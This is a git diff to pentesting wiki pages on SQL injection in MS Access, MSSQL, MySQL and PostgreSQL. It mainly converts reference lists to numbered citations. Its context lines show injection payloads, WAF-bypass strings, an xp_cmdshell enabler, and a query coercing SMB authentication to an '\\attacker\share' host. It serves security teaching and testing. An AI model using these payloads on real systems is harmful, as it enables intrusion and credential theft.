Password Cracker @@ -237,8 +237,8 @@ The forced-authentication vector was revisited by Check Point Research in 2023, ## References -- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) -- [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) -- [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) +- [1] [nibblesec – MS Access SQL Injection cheat sheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- [2] [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) +- [3] [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mssql-injection.md b/src/pentesting-web/sql-injection/mssql-injection.md index c85479d77cf..1f57a3cb2c1 100644 --- a/src/pentesting-web/sql-injection/mssql-injection.md +++ b/src/pentesting-web/sql-injection/mssql-injection.md @@ -43,7 +43,7 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)-- ## SSRF -These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)[[1]](#references) ### `fn_xe_file_target_read_file` @@ -112,7 +112,7 @@ Additionally, there are alternative stored procedures like `master..xp_fileexist ### `OPENROWSET(BULK...)` and `BULK INSERT` -If you have stacked queries and bulk permissions, `OPENROWSET(BULK...)` is very handy in SQLi because it can both **read local files** and **touch attacker-controlled UNC paths**. When the login uses SQL Server authentication, remote file access is performed with the **SQL Server service account** security context, so this can leak or relay the **NetNTLM** of the service account instead of only reading a file. +If you have stacked queries and bulk permissions, `OPENROWSET(BULK...)` is very handy in SQLi because it can both **read local files** and **touch attacker-controlled UNC paths**. When the login uses SQL Server authentication, remote file access is performed with the **SQL Server service account** security context, so this can leak or relay the **NetNTLM** of the service account instead of only reading a file.[[3]](#references) ```sql -- Read a local file @@ -146,7 +146,7 @@ For a broader post-auth view of file reads and OS interaction, also check: ### `sys.dm_os_enumerate_filesystem`, `sys.dm_os_file_exists` -If `xp_dirtree` / `xp_fileexist` have been revoked, recent research showed that DMFs such as `sys.dm_os_enumerate_filesystem` and `sys.dm_os_file_exists` can still **coerce SMB authentication** from the SQL Server service account and may even return filesystem metadata: +If `xp_dirtree` / `xp_fileexist` have been revoked, recent research showed that DMFs such as `sys.dm_os_enumerate_filesystem` and `sys.dm_os_file_exists` can still **coerce SMB authentication** from the SQL Server service account and may even return filesystem metadata:[[4]](#references) ```sql SELECT * FROM sys.dm_os_enumerate_filesystem('\\attacker\share', '*'); @@ -209,7 +209,7 @@ SELECT dbo.http(@url); ### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query** -[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). +[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).[[1]](#references) A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity. @@ -225,7 +225,7 @@ https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_n ### Retrieving the Current Query -[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). +[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).[[1]](#references) For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: @@ -241,7 +241,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV ## **Little tricks for WAF bypasses** -[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)[[1]](#references) Non-standard whitespace characters: %C2%85 или %C2%A0: @@ -271,7 +271,7 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ### WAF Bypass with unorthodox stacked queries -According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": +According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":[[2]](#references) ```sql SELECT 'a' SELECT 'b' @@ -320,10 +320,10 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ## References -- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) -- [https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) -- [https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet) -- [https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way](https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way) +- [1] [Advanced MSSQL Injection Tricks](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +- [2] [AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice](https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) +- [3] [SQL Server - UNC Path Injection Cheat Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet) +- [4] [Where There Is MSSQL, There Is A Way](https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index c29eb542a10..40a4b7b0b7a 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -56,7 +56,7 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)[[7]](#references) ## Flow @@ -127,7 +127,7 @@ When stacked queries are allowed, it might be possible to bypass WAFs by assigni 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).[[8]](#references) ### Information_schema alternatives @@ -135,7 +135,7 @@ Remember that in "modern" versions of **MySQL** you can substitute _**informatio ### MySQLinjection without COMMAS -Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):[[9]](#references) ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# @@ -158,12 +158,12 @@ Supposing there is 2 columns (being the first one the ID) and the other one the select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) +More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)[[10]](#references) ### Injection without SPACES (`/**/` comment trick) Some applications sanitise or parse user input with functions such as `sscanf("%128s", buf)` which **stop at the first space character**. -Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid. +Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.[[1]](#references) Example time-based blind injection bypassing the space filter: @@ -200,10 +200,10 @@ mysql> select version(); ## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) -This is not a classic SQL injection. When developers pass user input into `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface. +This is not a classic SQL injection. When developers pass user input into `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface.[[5]](#references) Key points: -- Operators are evaluated inside the quotes: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). See MySQL docs. +- Operators are evaluated inside the quotes: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). See MySQL docs.[[2]](#references) - This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`. - Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion. @@ -245,7 +245,7 @@ Mitigations: - Review analogous features in other DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` also parse operators inside quoted arguments. Notes: -- Prepared statements do not protect against semantic abuse of `REGEXP` or search operators. An input like `.*` remains a permissive regex even inside a quoted `REGEXP '.*'`. Use allow-lists or explicit guards. +- Prepared statements do not protect against semantic abuse of `REGEXP` or search operators. An input like `.*` remains a permissive regex even inside a quoted `REGEXP '.*'`. Use allow-lists or explicit guards.[[4]](#references) ## Error-based exfiltration via `updatexml()` @@ -258,7 +258,7 @@ dimension: id { } ``` -`updatexml()` raises an XPATH error that embeds the concatenated string, so the value from the inner `SELECT` appears in the error response between delimiters (`0x7e` = `~`). Iterate `LIMIT 1 OFFSET N` to enumerate rows. This works even when the UI forces “boolean” tests because the error message is still surfaced. +`updatexml()` raises an XPATH error that embeds the concatenated string, so the value from the inner `SELECT` appears in the error response between delimiters (`0x7e` = `~`). Iterate `LIMIT 1 OFFSET N` to enumerate rows. This works even when the UI forces “boolean” tests because the error message is still surfaced.[[6]](#references) ## Other MYSQL injection guides @@ -266,12 +266,16 @@ dimension: id { ## References -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) -- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) -- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) -- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) -- [LookOut: RCE and internal access on Looker (Tenable)](https://www.tenable.com/blog/google-looker-vulnerabilities-rce-internal-access-lookout) +- [1] [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [2] [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [3] [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [4] [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [5] [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) +- [6] [LookOut: RCE and internal access on Looker (Tenable)](https://www.tenable.com/blog/google-looker-vulnerabilities-rce-internal-access-lookout) +- [7] [The ultimate SQL Injection payload](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +- [8] [ImpressCMS: from unauthenticated SQL Injection to RCE](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce) +- [9] [How make SQL SELECT query without comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma) +- [10] [Blind SQL Injection without an 'in'](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md index 0c8d779ae14..316cbf4b221 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md +++ b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. +**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.[[1]](#references) ### Server-Side Request Forgery (SSRF) via SQL Functions @@ -26,6 +26,10 @@ The process varies if the `@@plugin_dir` is not writable, especially for MySQL v Automation of these processes can be facilitated by tools such as SQLMap, which supports UDF injection, and for blind SQL injections, output redirection or DNS request smuggling techniques may be utilized. +## References + +- [1] [Using SQL Injection to perform SSRF/XSPA attacks](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md index ce314c5c7b8..b1a6e9f9219 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md @@ -4,7 +4,7 @@ ## PostgreSQL Large Objects -PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained. +PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.[[1]](#references) This primitive is commonly chained with [RCE with PostgreSQL Extensions](rce-with-postgresql-extensions.md) or server-side configuration overwrites once `lo_export` is available. @@ -88,7 +88,7 @@ select lo_unlink(173454); -- Deletes the specified large object #### Using `lo_from_bytea`, `lo_put` & `lo_get` -For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into `pg_largeobject`, especially if the sink only allows **function calls inside a `SELECT` expression**. +For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into `pg_largeobject`, especially if the sink only allows **function calls inside a `SELECT` expression**.[[2]](#references) ```sql SELECT lo_from_bytea(173454, decode('', 'hex')); -- Fixed OID @@ -104,7 +104,7 @@ Useful notes: - `lo_put` uses **byte offsets**, not `pageno`. - `lo_from_bytea` and `lo_put` split the data into the internal 2KB pages automatically. - This makes them more practical than direct `INSERT`/`UPDATE` against `pg_largeobject` when automating large uploads. -- Recent PostgreSQL SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries. +- Recent PostgreSQL SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries.[[2]](#references) If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses: @@ -136,6 +136,6 @@ This is handy when tweaking only a PE/ELF header, a config file, or a previously ## References -- [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html) -- [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) +- [1] [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html) +- [2] [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md index 70aedd7a518..86fe227edf1 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md @@ -2,10 +2,14 @@ {{#include ../../../banners/hacktricks-training.md}} -**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.** +**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**[[1]](#references) **Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) +## References + +- [1] [PDKT-Team - FBCTF 2019 hr_admin_module writeup](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 4db9a50d993..1a2cc583f8e 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt). +**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).[[1]](#references) Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): @@ -108,6 +108,10 @@ $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc(); ``` +## References + +- [1] [Having Fun With PostgreSQL (Leidecker)](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md index 919cfe491ac..7de0193894b 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**. +**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.[[1]](#references) PL/pgSQL is a **fully featured programming language** that extends beyond the capabilities of SQL by offering **enhanced procedural control**. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment. @@ -118,6 +118,10 @@ $$ LANGUAGE 'plpgsql' select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` +## References + +- [1] [Having Fun With PostgreSQL - Nico Leidecker](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md index ceef8431260..8f0f1080394 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md @@ -43,7 +43,7 @@ Most of the scripting languages you can install in PostgreSQL have **2 flavours* > CREATE EXTENSION plrubyu; > ``` -Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one. +Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.[[1]](#references) ## plpythonu/plpython3u @@ -323,6 +323,10 @@ Check the following page: rce-with-postgresql-extensions.md {{#endref}} +## References + +- [1] [Installing Untrusted PL/Ruby for PostgreSQL](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) + {{#include ../../../banners/hacktricks-training.md}}